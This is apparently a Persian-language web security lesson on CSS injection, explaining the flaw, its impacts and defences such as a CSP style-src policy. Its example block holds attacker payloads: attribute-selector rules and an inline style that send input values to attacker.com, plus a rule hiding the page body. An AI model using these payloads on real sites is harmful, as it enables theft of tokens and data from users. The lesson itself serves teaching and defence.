در حال بارگذاری...
تست آسیبپذیری تزریق CSS که در آن مهاجم میتواند کد CSS دلخواه را در صفحه وب تزریق کند.
اهداف این درس
تزریق CSS (CSS Injection) زمانی رخ میدهد که برنامه وب دادههای کاربر را بدون خروجیگیری مناسب در style یا CSS استفاده کند. مهاجم میتواند کد CSS دلخواه تزریق کند.
نوعی آسیبپذیری که در آن مهاجم میتواند کد CSS دلخواه را در صفحه وب تزریق کند.
| تأثیر | توضیح | مثال |
|---|---|---|
| تغییر ظاهر | تغییر رنگ، فونت، layout | پنهان کردن عناصر |
| استخراج داده | خواندن attributeها | ارسال توکن به مهاجم |
| فیشینگ | نمایش فرم جعلی | فرم ورود جعلی |
نقاطی که داده کاربر در style یا CSS استفاده میشود شناسایی کنید.
1/* تغییر ظاهر */2body { display: none; }34/* استخراج داده با attribute selector */5input[value^='a'] { background: url(http://attacker.com/a); }6input[value^='b'] { background: url(http://attacker.com/b); }78/* تزریق در inline style */9background: url(http://attacker.com?data=value)هشدار
CSS Injection میتواند منجر به استخراج دادههای حساس مثل CSRF Token شود.
توصیه عملی
از CSP با محدودیت style-src برای جلوگیری از تزریق CSS استفاده کنید.
CSS Injection میتواند منجر به سرقت داده شود.
Attribute selectors در CSS خطرناک هستند.
عدم استفاده از inline style با داده کاربر.
CSP میتواند تزریق CSS را محدود کند.
CSS Injection چگونه میتواند داده استخراج کند؟
آیا تزریق CSS خطرناک است؟
بله، CSS میتواند برای استخراج داده از طریق attribute selectors و تغییر ظاهر صفحه استفاده شود.
چگونه CSS میتواند داده استخراج کند؟
با استفاده از attribute selectors و background-image، میتوان داده را به سرور مهاجم ارسال کرد.